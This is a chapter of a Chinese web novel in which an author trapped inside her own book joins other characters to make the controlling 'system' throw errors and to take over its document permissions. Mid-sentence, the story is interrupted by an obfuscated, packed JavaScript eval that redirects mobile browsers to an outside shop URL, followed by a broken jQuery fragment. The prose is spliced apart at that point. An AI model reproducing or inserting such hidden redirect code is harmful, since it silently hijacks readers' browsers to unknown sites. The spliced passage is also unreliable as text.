下午三点四十分,陆司珩从国贸三期赶到盛世娱乐的时候,苏芷柔正蹲在走廊的地板上,把温晴那几页废稿摊开铺了一地。沈棠坐在她左边,方瑶站在她右边,周曼拿着手机蹲在她对面,四个人围成一个不规整的圈,像一个战地临时指挥部。

    废稿上那些铅笔小字在走廊日光灯的照射下泛着暗淡的灰,那是系统三年间在温晴留白处添加的所有恶意,每一条都对应着一个可能触发强制矫正的情节节点。

    陆司珩在她们旁边站了片刻没有出声,然后弯下腰把一份文件放在苏芷柔手边,苏芷柔摸了摸是合同,是盛世娱乐法务部出具的《原著作品权利声明》,一份在法律意义上确认《星光予你》版权归属的文件,上面写着该作品的著作人格权由其笔下全体主要角色共有。

    苏芷柔低头看了三秒,抬起头看他,眼神里带着一种“你是认真的吗”的不可思议。

    “这种时刻了,你还在逗我开心,你什么时候让法务部准备的?”

    “我是认真的苏芷柔,今天中午你去未名的时候,我回了趟办公室。”他在她旁边蹲下来,手指点在那份文件末尾的条款编号上,他的手贴着她的手腕,神情暧昧又不失风度,“你说要让系统丧失文档权限。法律上可以这么走,你作为原著作者签署权利让渡声明,把你的著作人格权分散给书中所有被你写过名字的角色。”

    “上辈子你是用文档共笔的方式做了类似的事,但那次是事实行为,没有法律效力。这辈子我们做干净:你签一个字,系统的权限管理模块就会检测到一次‘非原书逻辑’的外部事件,又会产生一条报错。”

    “法律文件也能触发报错?”

    “能。因为系统是你写的,你写它的时候给它设定了一条核心指令:维护原剧情。而原著作者主动放弃版权这件事,比任何剧情偏离都更能推翻‘原剧情’的合法性。系统面对的不是一段被改写的文字,而是一份它无法用任何收束手段应对的法律文件,文字的偏离它可以尝试修正,但权利的让渡不在它的处理范围内。你当初写它的时候,大概没给它装法务模块。”他从西装内袋里掏出一支钢笔,旋开笔帽递到她手里。

    那支笔不是上辈子她见过的那支签字笔,而是一支更旧的、笔杆上有一道细微划痕的钢笔,应该是他父亲留下的,和深蓝色那块手表一起放在抽屉里的另一件遗物。

    苏芷柔接过笔,没有立刻签字。

    她看着那份文件上“笔下全体主要角色共有”这行字,忽然想起上辈子她在文档最后一页写的那句话:

    此后,这个故事不再有作者。

    现在她要把那句话从文档里挪到法律文书上,从文学隐喻挪到权利事实上。她旋开笔帽,在签名栏里写下了自己的名字。钢笔笔尖在纸面上划过时发出极细的摩擦声,像表针走动。

    系统没有弹出任何通知。但苏芷柔知道它检测到了,因为在签字完成的那一秒,她的耳朵传来一阵电流声,那种感觉就是系统第一次进入她身边的感觉,是一条灰色乱码,像是某个隐藏极深的进程被意外触发,试图弹窗但弹不出来,因为它的自然语言处理模块不知道该怎么表达“作者把版权分了”这件事。

    方瑶走到苏芷柔面前,把手里那杯凉透的拿铁放在文件旁边,然后蹲下来拿起地上一页废稿仔细看了看,是温晴写的一段关于女反派赎罪的戏,空白处有一行铅笔小字:她必须用更大的牺牲来弥补她的过错,否则读者不会原谅她。

    方瑶把这一页翻过来扣在地上,像是把一个钉在自己名字上的标签揭下来扔掉。

    “赎罪?我又有什么罪?生下来就活该吗?我会把我的角色演好,把第三年的配角生涯、七次被刷掉的试镜和一句‘你长得太精明了不适合演好人’全部带进这个角色里。但我不会用这些来换取任何人的原谅,包括沈棠的。她可以永远不原谅我,那是她的事。而我也有权永运不原谅她。”

    沈棠从地上站起来,走到方瑶面前。

    两个女人隔着大约一臂的距离对视了几秒,然后沈棠伸出手,不是握手的姿势,而是掌心朝上,像在接一件很轻但很重要的东西。

    “我可以跟你一起把这个角色演好。林慎是光,而你是影子,没有影子的光就是假的,没有光的影子就是瞎的。我不想演一个没有影子的林慎。”

    方瑶看着那只摊开的手,停了三秒,然后把那只一直在转自己手腕的、舞蹈演员的手放了上去,像把一件举了很久的东西终于搁在了可以承重的平面上。

    “这是当然,毕竟我也不想演一个没有光的影子。”

    温晴从试镜室里走出来,手里端着一杯凉透的茶。

    她斜靠在试镜室的门框上看着走廊里这群人,一个正在揉眼睛的助理,两个手掌相叠的女演员,一个蹲在地上捧着法律文件的前网文写手,还有一个站在旁边双手插兜、银白色表盘在走廊灯光下微微反光的男人。

    她把茶杯搁在旁边的窗台上,从口袋里掏出那张顾蓝寄来的设计稿,雾蓝色衬衫的草图,纸面已经旧了,折叠处磨出了白色的纤维,但背面那行字还在:

    温晴,你或许一直都在怪我为了事业放弃爱情,但你从来没写我放弃你之后每一天都在后悔。

    “盒子里的东西,”温晴看着沈棠,“就是你刚才在试镜室里自己说出来的那句话。我把它在石榴树下埋了三年,本意是想埋掉,把顾蓝寄给我的最后一行字埋进土里,就当是我替她写完的结局。但你没给我埋掉的机会。你今天说了‘我不原谅你但我选你’,那是八个字,和顾蓝写给我的那行字一样长,但方向相反。她写的是‘我在后悔’,你写的是‘我选你’,我没办法同时埋掉这两行字,所以盒子不用挖了,它已经空了。或许里面的东西不在土里,在你……”

    系统第二条报错,不同于沈棠说出“不原谅却共存”时引发的那条无声逻辑冲突,这一次的报错直接浮现在所有人的脑海里面。系统通知是一条灰色乱码,字符在脑海意识中快速滚动,用眼睛注意看的每一下都感觉自己转晕了,像是某个进程试图启动一个它无法解析的事件:

    【错误!系统错误!自行检测中——】

    【检测到非原书情感模式】

    【模式名称:“未完成的告别”】

    【来源:温晴、顾蓝】

    【处理结果:无法收束……无法修改……无法添加……无法删除……对象不在数据库中……?……对象从未被写入……b……u……g……对象存在……n……o……报错代码:ERR_NOT_FOUND_AND_YET_PRESENT】

    陆司珩最先摆脱出声,“顾蓝不是书里的人,她是你自己相识相遇相知的。系统一辈子都删不掉她留下的东西,因为她从来没有被写过,系统没有她的名字,没有她的索引路径,没有任何一种方式可以定位她。她是数据库之外的人,而你的那份感情,因为不在书上,所以刀枪不入。”

    温晴没有回答。

    她把设计稿折好放回口袋,端起窗台上那杯凉透的茶喝了一口,然后转身推开试镜室的门。

    “第二场试镜不用等了,方瑶,你刚才在外面说的那段话,关于你不赎罪、只把角色演好就够用了。沈棠,你对她说的话也够用了。我不需要再看你们演戏,你们刚才在走廊里,已经演完了。”

    试镜室的门在她身后合上。

    苏芷柔把那份签了字的权利声明折好放进帆布袋里,和周曼对视了一眼。

    那个对视很短,但信息量极大,周曼已经从刚才那条乱码里拿到了系统暴露的第一条底层架构线索:

    “无写入路径”这五个字告诉她,系统的权限目录里有一个专门存储“非书中角色影响事件”的分区,这个分区因为从未被使用过而被遗忘在架构最深处,连系统的自我检测程序都不会扫描它。

    如果她能在系统忙于应对接下来更多的报错时潜入这个分区,就可以在这里建立一个隐形的根权限,把文档所有权神不知鬼不觉地转移到一个系统自己都不知道它存在的角落里。

    方瑶把地上那页写着“她必须用更大的牺牲来弥补过错”的废稿捡起来还给苏芷柔,拍了拍膝盖上蹭到的灰,声音里带着一种她进排练厅之前还没有的平稳:“这页不用还给我了。我已经把自己的台词写好了。”

    沈棠从椅子上拿起自己的包,从里面掏出一个东西递给苏芷柔,是一颗草莓糖。

    “今后的路我们一起走,”沈棠说,“我给你也买了,以后我想吃糖的时候你给我买,但如果你需要的时候,我也会给你买。我知道你现在比我更加需要,这颗草莓糖。”

    苏芷柔接过那颗糖,把它和温晴的废稿、签了字的权利声明、陆司珩父亲留下的钢笔一起放进帆布袋里。

    她站起来拍了拍裙子上的灰,发现自己的白衬衫袖口那块黄渍旁边又多了一道新的铅笔印,大概是翻温晴废稿时蹭上去的石墨痕迹,洗不掉了。她低头看了看那道印子,忽然觉得洗不掉也挺好:它和衬衫上原有的黄渍

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17599379|201990||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    并排待在一起,像一页稿纸的正反两面,一面是上辈子洗不掉的原著痕迹,一面是这辈子新蹭上去的、她自己选择的特殊印记。

    下午五点,夕阳开始往国贸三期的玻璃幕墙上镀第一层金。

    苏芷柔站在盛世娱乐大厦门口的台阶上,脑海意识中那条灰色乱码还在隐隐闪烁,系统正在后台反复重试解析“未完成的告别”模式,每一次重试都暴露一点底层架构的新碎片,像一只困在玻璃瓶里的飞蛾不断撞击瓶壁,每一下碰撞都在透明的牢笼上留下一道肉眼几乎不可见的裂纹。

    周曼已经在脑海里开始分析那些碎片,她的表情不是兴奋,而是一种极其专注的、近乎偏执的冷静,像一个人终于找到了自己真正的战场。

    “它的根目录结构在渗透。刚才那条报错暴露了它有一个专门处理‘非书中角色影响事件’的分区,这个分区从来没有被使用过所以它自己的维护程序都不会去扫描。”周曼把手机屏幕转向苏芷柔,上面是她刚画的系统架构草图,三个同心圆,最外圈标着“女配值界面”,中圈标着“剧情收束程序”,最内圈标着“文档权限管理”,而在三层之外她另画了一个孤立的方框,用红笔圈起来,写上“被遗忘的分区”,

    “如果我们在这个分区里建立一个隐形节点……”

    “它就不会发现我们在动它的权限文件,”苏芷柔接上去,语速比平时快,她的思路在高速运转,“因为它根本不知道那个分区存在。你可以在它眼皮底下把文档所有权转移走。”

    “需要多久?”陆司珩问。

    “取决于它能触发多少条报错。每条报错都会暴露一点底层架构,报错越多,我逆向定位到根权限的速度越快。我们在一天之内触发了大概七八次报错,它撑到第二十个小时才碎,这一次如果我们能在今天之内触发超过十五次……”

    “它会加速崩溃,”苏芷柔打断她,补充着她没说完的内容,像两个人同时看到了同一张地图的不同路径然后发现它们通向同一个出口,“但崩溃太快也有风险。它可能会在崩溃前触发紧急备份协议,上一次它就是这样把数据藏起来的。我们必须控制报错的节奏:不是一次性全部炸掉,而是让它保持在‘持续过载但还没有触发紧急备份’的临界点上,等到你把根权限完全拿到手,再让它彻底崩溃。”

    “所以我们要给它布一条报错链,”陆司珩接过她的话,三个人站在夕阳底下,影子被拉得又细又长拖在台阶上,像一个正在形成但还没人见过的新情节,“不是孤立的单个事件,而是一条因果链,每一个新报错都是前一个报错引发的后续偏离,让它忙于追踪因果链的延伸方向而不是启动紧急备份。它越忙,周曼越安全,崩溃的时机就越可控。”

    方瑶和沈棠从大厦里走出来,并肩走在暮色里,没有牵手也没有刻意保持距离,只是并排走着。

    她们的影子在台阶上拖得很长,有一部分交叠在一起,不是融合,只是一片影子落在另一片影子旁边。

    方瑶手里还拿着那杯已经彻底凉透的拿铁,沈棠手里攥着自己买的那颗草莓糖,谁也没有先开口说话。

    她们刚才在试镜室里完成了第一场对手戏的即兴片段,她们自己主动加排。出来的时候温晴在她们身后说了一句话,声音不大,但两个人都听到了:“这个对手戏,剧本里都没有你们两个表演的精彩。”

    系统当天下午连续触发了第三条、第四条和第五条报错。

    第三条来自方瑶和沈棠那场即兴对手戏被温晴正式写入剧本,当两个原定应该互相仇恨的角色跳过和解环节直接进入共创阶段时,系统的剧情收束程序试图介入,但发现找不到“和解”这个标准叙事模块的调用入口,它在那场对手戏的数据流里反复搜索关键词,但依旧一无所获。它搜到的只有方瑶说“赎罪”、沈棠说“原谅”、温晴在剧本空白处写的备注“留白,不需要和解”。

    第四条报错发生在周曼的备忘录里:当她分析第三条报错暴露的日志碎片时,意外发现了一个被系统遗忘的旧分区,标注着“初稿存档”,里面有苏芷柔在写《星光予你》第一天留下的最原始版本,那个版本里苏芷柔甚至还没有被写成恶毒女配,她只是一个“性格不太好但还没开始害人”的十八线小艺人。

    当周曼把这个发现告诉苏芷柔时,说了这样一句话:“你最初写的苏芷柔,不是恶毒女配,你在第二稿才把她的咖啡泼向沈棠。”

    苏芷柔没有说话,她想起来自己刚开始创作这个角色的契机了。